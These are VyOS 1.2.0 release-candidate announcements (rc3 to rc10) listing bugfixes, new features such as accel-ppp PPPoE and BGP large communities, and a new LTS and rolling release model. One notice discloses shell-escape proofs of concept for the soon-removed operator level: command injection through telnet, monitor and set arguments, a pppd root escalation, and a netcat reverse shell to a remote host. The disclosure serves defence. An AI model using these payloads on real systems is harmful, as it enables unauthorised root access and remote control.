VyOS 1.2.0-rc10 is available for download

VyOS 1.2.0-rc10 is available for download from https://downloads.vyos.io/?dir=testing/1.2.0-rc10 

Resolved issues

The following issues have been fixed:

  • If you save your configuration on a system booted from a livecd, you will be offered to copy it to the installed image (T1047).
  • EFI GRUB can now be installed in a removable location (T1023).
  • The "run show vpn ipsec sa" command now works correctly for SAs with non-zero traffic counters (T956).
  • IPsec SA in/out traffic counters are not displayed in human-readable units (T956).

Issues that need testing

We have a bunch of issues that need testing. Please tell us if the following features work for you, or help us figure out a reproducing procedure! We need to make sure they are resolved before we make a stable 1.2.0 release, but we are either unable to reproduce them because they are hardware-specific and we don't have required hardware anywhere; or we cannot reproduce them using the provided procedure, which may mean either that the procedure is incomplete, or that the bug is already fixed.

  • Kernel crashed under (network) load with gen5 Mellanox cards (T1014).
  • Broken 6rd tunnel implementation (T1000).
  • Problem with Intel XL710 NICs (T961).
  • L2TPv3 interfaces sometimes not loaded on boot (T942).
  • OSPF process crashing on peer reboot (T922).
  • BGP process doesn't start on boot (T904).

Additionally, we would like to know if DMVPN and SNMP integration with routing protocols are working well for you. If you've seen any of those issues, or, to the contrary, you can confirm that you've never seen them, please let us know.

VyOS 1.2.0-rc9 is available for download

We are getting closer and closer to the stable release. There are still bugs for a couple more release candidates, and some features we need to get in, but generally the time of spectatular updates in the 1.2.0/crux branch is almost over—all big things will be going on in the new 1.3.0/equuleus branch soon. The new release candidate is available for download from https://downloads.vyos.io/?dir=testing/1.2.0-rc9 

Software updates

The kernel has been updated to the most recent 4.19.4 release. It includes multiple fixes in drivers, so tasks related to drivers like this one about Mellanox card causing a crash under load (T1014), or those about Intel cards (T986, T961) should be re-tested.

This kernel also removes the original SPECTRE vulnerability mitigation code that had a big performance impact.  We'd like to hear about your experience in this regard.

We have also included the Hyper-V daemons package. If you are running VyOS on a Hyper-V host, please let us know if it works well for you.

As usual, FRR has been updated to the latest master as well.

Bugfixes

  • The "protocols bgp ... address-family ipv4-unicast redistribute ospf" works again (T1034).
  • Set-time validation rules for OSPFv3 areas does not allow decimal notation anymore, since it was never allowed by Quagga or FRR (T981).
  • PPPoE server help strings and autocompletion have been improved.
  • The ofed-scripts package (a remnant of the official Mellanox drivers) is removed from the image since we are using kernel built-in drivers now.
  • Package lists for the image build now correctly include aptitude which is needed for the grub-efi package fetching, so you should be able to build images yourself without problems again. Sorry it's been broken for a while!

Contributor subscriptions

Since the moment we've published the pre-registration form, we have received a number of LTS subscription requests from our veteran contributors, and people who have joined VyOS recently. We are still working on the subscriber portal, but we'll make sure to send everyone a notification when the 1.2.0 LTS release, and the portal are ready. When the portal is ready, contributors will be able to register directly.

If you have been or are contributing to VyOS, you can find the form here.

Upd

Originally the image was accidentally uploaded with broken wireguard package, but the issue is resolved now, thanks to Kroy who identified the issue and notified us quickly.

VyOS release model change

Now that we are approaching the 1.2.0 LTS release, it's time to make a big announcement. Perhaps we should have made it earlier, but we've been too busy coding.

There are two distinct categories of VyOS users. The first category is people who want the latest features even at cost of stability. These are mostly networking geeks who run it in their home networks and network labs and open source developers, though some businesses are also happy with this approach. The second category is people who need or want stability. There are of course people who want both too, but we have to accept that these goals are contradictory at least some of the time.

This is common for all software projects, but with VyOS, more people seem to belong to the second category. Every once in a while someone asks on the channels and the forum whether they can update an extremely outdated VyOS (or even Vyatta Core) version to the latest release. We also hear from people frequently that they are not going to even try 1.2.0 until it reaches the stable status.

It's quite obvious by now that the single release model is not fitting for this situation. With 1.2.0, people who contributed new features had to wait a long time for their code to appear in any non-nightly build image because other people, mainly the maintainers, have been working on tearing the codebase off of the outdated Debian release, reworking the foundations, and hunting bugs. This is frustrating for contributors and even created the appearance of the dead project at some point. It also means that new code doesn't get to people enthusiastic to test it nearly as fast as it should.

On the other hand, while we have an active community of people who send us patches and report bugs, the community is very small compared to the entire user base. The number of people who contributed patches is easy to measure so I did it out of curiosity: the largest submodule, vyatta-cfg-system, has less then 50 unique names in its commit log starting from the project start date, which means less than 50 people contributed to it in five years. The number of active testers isn't much higher. For comparison, the 1.1.8 images get thousands of downloads every month and the wiki documentation gets thousands of views too. To make it easier for people to contribute, there's a lot of work to be done: reworking the foundational libraries, getting rid of poorly written legacy code, and so on, and focused effort (which means human-hours) is required to break the cycle.

Maintaining stable releases is one of the hardest parts, but that burden falls on a disproportionately small number of people, while most of the business users who are the main consumers of stable releases do nothing to advance the project. This is not a healthy or sustainable situation. Someone needs to pay the bills.

The new release model

First, there now will be two release lines: rolling release and long-term support releases.

The rolling release images will be (roughly) monthly snapshots of the "current" branch, with all latest pull requests merged in. They will be tested to successfully boot and load a sample config. The target audience is the people who want the latest features (even if they are not working perfectly yet). People who send us pull requests can be sure their contribution will be available to themselves and willing testers in a reasonable time. Since in VyOS it's easy to revert to the previous version if something goes wrong, the rolling release should be good enough for non-critical production use, since you can always go back to a working version at the end of the maintenance window and report the findings.

The long-term support versions will be maintained for at least two years from the release date. They will undergo extensive testing by the maintainers, and receive backported bugfixes and security updates until they reach an EOL, with a possibility of receiving extended support by special agreement. It is meant for enterprises and service provider users.

Unlike the rolling release images, binary LTS images will be only available to people who help the project move forward, either by contributing their time or their money. We are not going to compromise the free software ideals: you will always be able to build LTS releases yourself.

The LTS images will be available at no cost to all people who contribute to VyOS. Every kind of contribution counts:

Writing code
Testing release candidates and rolling/nightly build and reporting bugs
Writing documentation
Promoting VyOS in blogs, social networks, and at conferences
Everyone who contributed before the release of 1.2.0 LTS version will get a perpetual subscription. People who will have joined later will need to be active within the last year to maintain their subscription (the required activity level is yet to be determined, but it will require substantial and non-trivial changes, i.e. not just typo fixes). Companies who allow their employees to work on VyOS during working hours or specifically pay their employees or contractors to work on code that is meant for the mainline VyOS or produces open source integration tools will be able to get a corporate subscription if those employees/contractors confirm it.

We are also happy to provide subscriptions to contributors of all projects that VyOS uses, such as FRR, netfilter, OpenVPN, StrongSWAN, and many others.

Companies who simply want to use stable, long-term support releases without making technical or social contributions to the project will have to purchase a binary image subscription (you pay for access to ready-made images, not software licensing as such).

All money received from the paid subscriptions will be used to fund VyOS development, including paying the salaries of the VyOS maintainers who work at Sentrium, hiring/contracting developers from the community, expanding the project infrastructure, and supporting our upstream projects.

If you have contributed to VyOS, you can register right now using this form. We will post the details of the commercial offer and pricing later, stay tuned.

P.S.

Back in 2013, I said that there will never be a "VyOS Subscription Edition". Technically I lied, but it was said from a very different perspective. At the time we hoped that now that VyOS is open for everyone's contribution, a large contributor community will form and many of the corporate users who used to use the old project will contribute to it willingly, sponsor its development, or purchase support subscriptions; in practice very few of them did. That approach didn't work, but switching our AWS Marketplace offer from free of charge to paid has become the first reliable funding source for the project and already allowed us to add support for more cloud platforms, as well as rework some of the fundamentals of VyOS to make it easier to contribute to.
I hope continuing this line and introducing the rolling release will create a model that is more beneficial for the project and more fair towards its contributors.
Just to clarify, VyOS is neither going to hide the toolchain required to build LTS releases yourself nor going open core. Those part of the original plan do and will stay the same.


VyOS 1.2.0-rc8 is available for download

A new release candidate, 1.2.0-rc8 is available for download from https://downloads.vyos.io/?dir=testing/1.2.0-rc8

As usual, it offers a few bugfixes, but also some last moment additions we wanted to make before the code freeze.

New features

PPPoE based on accel-ppp

https://accel-ppp.org/ is a high performance implementation of the PPP protocol itself and multiple protocols based on it, including PPPoE, PPTP, and L2TP that has become very popular with service providers.

To make VyOS a better option for access concentrators, we (and by "we" I mostly mean our contributor hagbard!) rewrote the PPPoE scripts to use accel-ppp instead of rp-pppoe.

No other protocols are reimplemented yet, but we are considering that option. Reimplementing PPTP can be challenging because the kernel module that accel-ppp uses for it conflicts with ip_gre (which is used for normal GRE tunnels as well as PPTP in the current implementation), but L2TPv2 should be doable.

The configuration syntax of the new PPPoE implementation is fully compatible with the old one, save for the RADIUS key option that is handled by a migration script, so your old configuration should work as expected if you used PPPoE server in older releases.

Saltstack integration

This project has existed for quite a while, and even accidentally made it to one of the earlier release candidates, but we never made it official. Now it should be stable enough to be included in an image.

Salt is a popular configuration management project. There is already VyOS support in Ansible, so why not expand our support for automation platforms?

Unlike Ansible, Salt needs an agent package on the target system. The minimal configuration required to make it work is "set service salt-minion master 192.0.2.1" (where 192.0.2.1 is the Salt master server address).

Hop limit matching in IPv6 firewalls

Thanks to a patch by Ray Patrick Soucy, it's now possible to match on hop limit in IPv6 firewall rules (T573).

The command is "set firewall ipv6-name Foo rule 10 hop-limit" and can have one of the following options: "eq $num" (equals exactly), "gt $num" (greater than) and "lt $num" (less than).

BGP interface option for link-local peer sessions

It is now possible to specify the interface to be used for a session in BGP (T941) with a command "set protocols bgp 64512 neighbor 192.0.2.10 interface eth0". This should allow using IPv6 link-local addresses for peer sessions.

Multipath routing options

New kernel versions include a few improvements in multipath routing. By default, the kernel only uses network layer information to bind connections to next hops, but now it's possible to make it also use transport layer information (e.g. TCP or UDP ports) for that decision with these commands: "set system ip multipath layer4-hashing", "set system ipv6 multipath layer4-hashing" (T992).

There's another command that is (so far at least) IPv4-specific: "set system ip multipath ignore-unreachable-nexthops". It makes the kernel exclude next hops with unreachable ARP from routing decisions.

Bug fixes

  1. Obsolete "dynamic" option was removed from NTP (T1018).
  2. It is now possible to restart the DHCP relay agent (T1016). 
  3. Conntrack helper is now enabled by default (T1011).
  4. Validation rules for 6rd tunnels have been corrected, now it should be borderline usable (T1000).
  5. Fixed dynamic DNS requests over HTTP (T983).
  6. Fixed DNS forwarding service not listening on IPv6 address (T974).
  7. immark module is now enabled in syslog (T940).
  8. Console device speed option should now modify the GRUB config correctly (T969). 
  9. Is it now possible to disable the in-memory table netflow plugin (T458). 
  10. OSPF LS update sending on a flapped interface seems to have been automatically solved by migration to FRR (T409).

Bug that need verification

Some people reportes that Intel XL710 network cards do not work, but that was before we updated the kernel to 4.19 (T961). It needs re-testing on rc7 or rc8.

This kernel also needs more testing with fifth generation Mellanox cards.

VyOS 1.2.0-rc7 is available for download

Yet another release candidate, with more bug fixes and some experimental features. We are grateful to everyone who reported these bugs and sent us patches for them!

The ISO image is available for download here  

New features

RADIUS client source IP in remote access VPN

It is now possible to set the source IP with a command like "set vpn l2tp remote-access authentication radius source-address 192.0.2.10".

UEFI support

Thanks to joined efforts of our contributor Kroy the Rabbit and the maintainers, VyOS has got experimental support for installation and boot on UEFI platforms.

Since UEFI-only boxes started to enter the market lately, it makes a perfect last moment addition, but as any big change, it needs testing. If you have hardware that uses UEFI, please try it out and let us know if it works well for you.

If your machine is using UEFI boot, the installer will detect it automatically and create a GPT partition table and an UEFI partition rather than MBR, so for the users this new feature should be seemless.

Bug fixes

Updates to the latest kernel and the latest FRR seem to have resolved a number of tasks automatically, namely: an issue with route-map interface close not working for all protocols (T524), packet loss in some Xen environments including AWS (T935), support for the Denverton SoC (T946).

Fixes in BGP commands

Thanks to our community, we have identified a few more BGP commands whose migration to the new "address-family ipv4-unicast" syntax was incomplete. IPv4 prefix lists should now work correctly (T968), and so should "soft-reconfiguration inbound" (T982).

FRR syntax changes

While FRR has brought us a lot of improvements, it also has a small number of incompatibilities.

A syntax change in the "as-path-exclude" route-map option made it impossible to delete the clause or entire route-map, until we fixed it (T991). 

Another change is only planned, but already has deprecation warnings that are quite annoying (T964). We have fixed most of them, except in the "policy community-list" commands. The final bit is blocked by an issue in the new FRR commands that are supposed to replace the old ones, so until it's fixed you will get a warning when deleting or modifying community-lists. The warning is harmless, and we will fix it and also update op mode commands once the FRR developers fix their part.

Wireguard

A couple of issues with the wireguard CLI have been fixed. One was that you could not use whitespace inside wireguard interface descriptions (T979). The other issues would leave the VyOS CLI and the actual wireguard configuration in an incosistent state (T965). Thanks to our contributor hagbard, the issues have been resolved.

Misc

Removing a user with a "delete system login user" command now correctly deletes home directories, eliminating the possibility that the same home directory can be reassigned to a new user with a different UID and thus no write permissions for the original directory (T740).

Authentication/authorization logs should now work as expected again (T963).

The installer now allows installation on NVM Express SSD devices /dev/nvme* (T967). The patch was contributed by Brooks Swinnerton.

The "run monitor bandwidth-test initiate" command works again (T994).

The "| strip-private" pipe now correctly obscures "pre-shared-secret" options (T999).

The "hostfile-update" DHCP server option should now work again (T976).

VyOS 1.2.0-rc6 is available for download

As usual, every week we make a new release candidate so that people interested in testing can test the changes quickly and people who reported bugs can confirm they are resolved or report further issues.

VyOS 1.2.0-rc6 is available for download from https://downloads.vyos.io/?dir=testing/1.2.0-rc6

It includes a small but significant number of bugfixes and a couple of removed commands.

Package updates

VyOS 1.2.0-rc6 uses the Linux kernel 4.19.0. The 4.19 kernel will be the next LTS version, it should be a good kernel to stick with for the lifetime of the 1.2.0 release.

The 4.18 kernel was quite buggy, and 4.14.75 had annoying bugs with small packets causing packet loss in Xen that was solved in later versions.

This image also uses built-in drivers for Mellanox cards rather than those built from the official tarball, since they do not build for newer kernels yet. If you are using one of their fifth generation cards, let us know if it works for you.

Wireguard issues

Issues with creating multiple wireguard interfaces (T949) and with wireguard interfaces disappearing after reboot (T943) have been resolved.

Issues with removing long format IPv6 addresses from interfaces

It was always possible to use long format of IPv6 addresses, with leading zeroes, like 2001:db8:0:0:0:0:0:1/64 (T288), but it was impossible to delete them without rebooting the router because iproute2 does compacts addresses at set time and doesn't recognize the short and long forms as the same address. We've added a workaround for it and it should no longer be a problem.

Import route-map not set for IPv4 BGP peer groups

There was an issue with setting import route-map for IPv4 peer groups (T924). I have to admit I simply forgot to convert one of the commands to the new "address-family ipv4-unicast" syntax, so the path existed in the CLI, but was never passed to FRR correctly. Now it should work as expected.

New command for checking VyOS installation integrity

If you, like me, can never remember if you are running a stock image or a modified installation, this is for you.

dmbaturin@vyos:~$ show system-integrity 
The following packages don't fit the image creation time:
build time:     2018-11-06 01:28:00
installed: 2018-11-06 01:44:28  vyos-1x

It only shows is any packages were installed on top of the image, and not whether any files were modified, but that's better than nothing.

Removed commands

The "run show vpn debug detail" operational mode command was removed because it was based on a script that StrongSWAN no longer provides, and reimplementing it is probably more trouble than it's worth since it just aggregates information already available in the logs and output of other commands.

We have also removed the "set service dhcp-relay relay-options port" command. The DHCP RFC nowhere says that servers or relays MAY use a port other than UDP/67, and almost no clients support alternative ports either, so this option hardly has any practical value. If you used to use it, it will disappear from your config. If you actually need it, please tell us about your use case.



The "operator" level is proved insecure and will be removed in the next releases

The operator level in VyOS is a legacy feature that was inherited from the forked Vyatta Core code. It was always relatively obscure, and I don't think anyone really trusted its security, and for good reasons: with our current CLI architecture, real privilege separation is  impossible.

Security researcher Rich Mirch found multiple ways to escape the restricted shell and execute commands with root permissions for the operator level users. Most of those would take a lot of effort to fix, and it's not clear if some of those can be fixed at all. Since any new implementation of a privilege separation system will be incompatible with the old one, and leaving operator level in the system is best described as "security theater", in the next releases that feature will be removed and operator level users will be converted to admin level users.

We will use the "id" UNIX command for demonstration since it's harmless but is not supposed to be available for operator level users. Here are proofs of concept for all vulnerabilities reported by Rich:

Restricted shell escape using the telnet command

Proof of concept:
user1@vyos> telnet "127.0.0.1;bash"
telnet: can't connect to remote host (127.0.0.1): Connection refused
# we are now in real, unrestricted bash

user1@vyos> id
uid=1001(user1) gid=100(users) groups=100(users),...

This problem could potentially be fixed, but since there's no way to introduce global input sanitation, every command would have to be checked and protected individually.

Restricted shell escape using the "monitor command" command

The "monitor command" command allows operator level users to execute any command. Using it in combination with netcat it's possible to launch an unrestricted bash shell:

user1@vyos> monitor command "$(netcat -e /bin/bash 192.168.x.x 9003)"

Connection from 192.168.x.x:59952
id
uid=1001(user1) gid=100(users) groups=100(users),4(adm),30(dip),37(operator),102(quaggavty),105(vyattaop)
hostname
vyos

Restricted shell escape using the traffic dump filters

user1@vyos> monitor interfaces ethernet eth0 traffic detail unlimited filter "-w /dev/null 2>/dev/null & bash"
Capturing traffic on eth0 ...

id
uid=1001(user1) gid=100(users) groups=100(users),4(adm),30(dip),37(operator),102(quaggavty),105(vyattaop)

Restricted shell escape using backtick evaluation as a set command argument

user1@vyos> set "`/bin/bash`"

user1@vyos> id >/dev/tty
uid=1001(user1) gid=100(users) groups=100(users),4(adm),30(dip),37(operator),102(quaggavty),105(vyattaop)

This one is special because there may not be a way to fix it at all.

Local privilege escalarion using pppd connection scripts

Operator level users are allowed to call pppd for the connect/disconnect commands. Since pppd is executed with root permissions, a malicious operator can execute arbitrary commands as root using a custom PPP connection script.

user1@vyos> echo "id >/dev/tty" > id.sh
user1@vyos> chmod 755 id.sh

Execute the id command as root using the sudo /sbin/pppd command.

user1@vyos> sudo /sbin/pppd connect $PWD/id.sh
uid=0(root) gid=0(root) groups=0(root)

VyOS 1.2.0-rc5 is available for download

As the tradition dictates, the new weekly release candidate is available for download 

Package updates

The following packages have been updated:

  1. Linux kernel to 4.14.75
  2. Mellanox network drivers to 4.4

Bug fixes

SNMP integration with routing protocols

The last bit configuration that is required for it to work is in now, and it should work as expected again. If it doesn't work for you, let us know!

VRRP not working in unicast mode when the RFC-compatible mode is selected

In T933 it was reported that if you configure VRRP in unicast mode and choose to use virtual MACs (RFC compatible mode), both nodes become masters. Now the config option required for this to work is inserted into keepalived config.

DHCP relay now handles the port option correctly

As reported in T938, DHCP relay would not handle the port option correctly. Now it does.

Tag nodes with whitespace

As reported in T253, it was possible to create a tag node with whitespace in its name (e.g. "set system login user "foo bar" authentication..."), but such configs would not be parsed correctly if you try to load them back.

In most cases attempts to create such nodes should be blocked at the syntax validation level, but since old configs with such nodes may exist, and it is impossible to disallow doing that completely at the set command level, we've added support for quoting such nodes properly in the code responsible for displaying and saving configs. Now such configs will load at least partially and produce more descriptive errors when disallowed by individual command syntax.

Commit archive problem with edit levels

As reported in T570, changing the edit level caused the commit archive feature to save only the config at that level to the remote server, for example, if you did "edit interfaces", the archived config would contain nothing but the interfaces subtree.
It was caused by erroneous omission of the option that makes cli-shell-api output the entire config regardless of the edit level and should be fixed now.

The "run monitor traffic interface ... filter" commands now has full support for tcpdump filters

As reported in T931, commands like "run monitor traffic interface eth0 filter ''src 192.0.2.1 or dst 203.0.113.10" would fail. Now the simple mistake that caused it is fixed and such commands should work again.

Compatibility notes

Username restrictions

Related to the whitespace issue, some commands had overly permissive syntax. The "system login user" username format has been restricted to the POSIX portable characters and length below 100 now (that's alphanumeric characters, underscores, hyphens, and dots). If usernames do not conform to the undeniably portable format (alphanumeric and underscores/hyphens only), you will receive a warning.

There may be old configs with unusual usernames, and they now may fail to load. If you run into issues with that restrictions, let us know.

The "inspect" action in firewall rules no longer exists

The "inspect" action was once used for the IPS/IDS functionality, but the IDS (it was Snort) was removed long before VyOS was forked from Vyatta. The now useless action, however, persisted.

Now we have removed it. We think the chance to see it in a real config is very low, and this should have no impact, but if you run into problems, leave a note in T59, and we'll make a migration script.

In other news

The 1.2.0/Crux repositories are now fully separated from the "current" branch repositories, in preparation for the LTS release. This reopens the "current" branch for experimental and potentially unsafe changes so that we can start working on new big rewrites, migration to newer Debian and other things required for the future 1.3.0 release.



VyOS 1.2.0-rc4 is available for download

VyOS 1.2.0-rc4 release candidate is available for download from here

The release includes multiple bug fixes and a few small features.

You can view the complete changelog here.

Here are some highlights:

Bugfix: SNMP and routing protocols

Due to a change in FRR compared to our old Quagga, SNMP support for routing protocols had been broken for a while. Now it should work again.

Bugfix: BGP community lists

Due to another change in FRR, we've had an annoying bug that made it impossible to edit  BGP community list rules after creation (T799).

For now it was fixed using a dirty hack that may slow down community list editing operations somewhat, and the root cause was reported to FRR maintainers. Once they fix it, we can remove the hack easily.

Feature: BGP extended community lists

Support for extended community lists was supposed to be there for a long time, but in reality the commands were broken (T64).
The bug in community lists editing helped us discover that issue, and the commands were fixed.

Here is an example of that feature's syntax:

# show policy extcommunity-list ExctcommunityExample 
 rule 10 {
     action permit
     regex 100000:999
 }
 rule 30 {
     action deny
     regex ^$
 }
[edit]
# show policy route-map ExtcommunityExample 
 rule 10 {
     action permit
     match {
         extcommunity ExctcommunityExample
     }
 }

Please test is and tell us if it works fine for you.

SSH allow-root option

The "service ssh allow-root" is no longer supported. It will be automatically removed from configs first time the upgrade image boots.

It's a common wisdom that logging in as root is not a good idea. We believe this change is going to have a very limited impact at best.  One objection was that automation tools may need it, but all modern tools such as ansible are capable of elevating privileges properly with sudo.

However, if your automation setup is using it, please take it into account. You still have time to do it before 1.2.0 LTS is released.

New drivers and utilities

VyOS now includes updated firmware packages, in particular, new firmware for Broadcom cards that were reported not to work in T708.

The image also includes a few popular diagnostic tools by default, such as htop, atop, and iotop.

VyOS 1.2.0-rc3 is available for download, with BGP large communities and new bugfixes

VyOS 1.2.0-rc3 release candidate is available for download from https://downloads.vyos.io/?dir=testing/1.2.0-rc3

Thanks to all people testing release candidates, more bugs were uncovered and fixed. But this release also includes a new feature, that was made possible by migration away from our outdated Quagga, namely:

BGP large communities

Since we are using FRR rather than an outdated Quagga version now, we could finally add CLI support for a long requested feature: large communities. Now that RIRs are out of 32-bit AS numbers, it's more relevant than ever.

The syntax is very simple and similar to that of community-lists:
set policy large-community-list Foo rule 10 action permit
set policy large-community-list Foo rule 10 regex 4000000:33333:4444
set policy large-community-list Foo rule 20 action deny
set policy large-community-list Foo rule 20 regex '^$'

set policy route-map Bar rule 10 action permit
set policy route-map Bar rule 10 match large-community large-community-list Foo

set policy route-map Quux rule 10 action permit
set policy route-map Quux rule 10 set large-community 90000:555:111

Note that there are no well-known communities such as "no-export" here, unlike in the classic communities. I also decided not to implement support for "standard" (numbered) large-community-lists and only include "expanded" (named) lists.

Now to the bug fixes.

Directly connected interface-routes

Some hosting providers, for example, Online.net, use an unusual configuration with /32 host addresses, where you are supposed to create an interface-based route to the default gateway address and then create a default route via that address.

While this configuration is against the classic networking common sense, and I'm not a fan of it, it's technically perfectly valid and increasingly common. The Linux kernel network stack uses a "you asked for it, you get it" approach and allows you to do any crazy things, which sometimes turn out surprisingly useful. Our old Quagga, however, would treat such routes as unreachable because the next hop address is not from the same network as assigned on the interface — sound reasoning, but in this situation it was wrong.

The only way to make it work was to add an iproute2 command to the postconfig script, which is cumbesome. Migration to FRR seems to have resolved that issue though. This configuration appears to work fine in my lab:

set interfaces ethernet eth1 address 192.0.0.2.10/32
set protocols static interface-route 203.0.113.1/32 next-hop-interface eth1
set protocols static route 0.0.0.0/0 next-hop 203.0.113.1

This is what the route table looks like: the 203.0.113.1/32 route is treated as directly connected.

vyos@vyos# run show ip route
...
S>  0.0.0.0/0 [1/0] via 203.0.113.1 (recursive), 00:00:03
  *                   via 203.0.113.1, eth1 onlink, 00:00:03
C>* 192.0.2.10/32 is directly connected, eth1, 00:00:03
S>* 203.0.113.1/32 [1/0] is directly connected, eth1, 00:00:03

And this is what it looks like in the kernel:

vyos@vyos# run show ip route forward 
default via 203.0.113.1 dev eth1 proto static metric 20 onlink 
192.168.56.0/24 dev eth0 proto kernel scope link src 192.168.56.13 
203.0.113.1 dev eth1 proto static metric 20 

If you are using online.net or another hosting provider that uses this scheme, please test it and tell us if it works for you without workarounds.

Fixes in bridging and tunnels

Thanks to Kroy from the forum, we tracked down and fixed a few bridging bugs that had been there for a long time but no one noticed.

The first bug was that the system allowed you to remove a bridge that still has active members (T898). Even with that bug fixed, you still could not remove a tunnel interface from a bridge because its own script was faulty (T900).

Both are now fixed, but there are still issues in that script: STP cost and priority options are not functional. We may fix it in the next release candidate.

Additionally, OpenVPN interfaces could not be added to bridges due to a brctl syntax change, as reported by afics in T884. This should also be fixed now.

Image signature check failure confirmation

Armin Fisslthaler (afics) noticed a particularly embarassing bug: when the installer fails to verify image GPG signature (due to missing key or otherwise), it asks if you want to proceed, and suggests that the default option is "No", but if you just hit Enter, it proceeds instead of exiting (T885).
Ewald van Geffen took the time to fix that conditional and now it should no longer haunt us.

Missing release key in the image

Speaking of which, the VyOS release key is now included in the image and signature check should no longer fail.

More fixes

Corrected the syntax for deleting IPv6 next-hop (T800, fix suggested by Merjin).

IPv6 next-hop local value is now validated at set rather than commit time (T897).

Known issues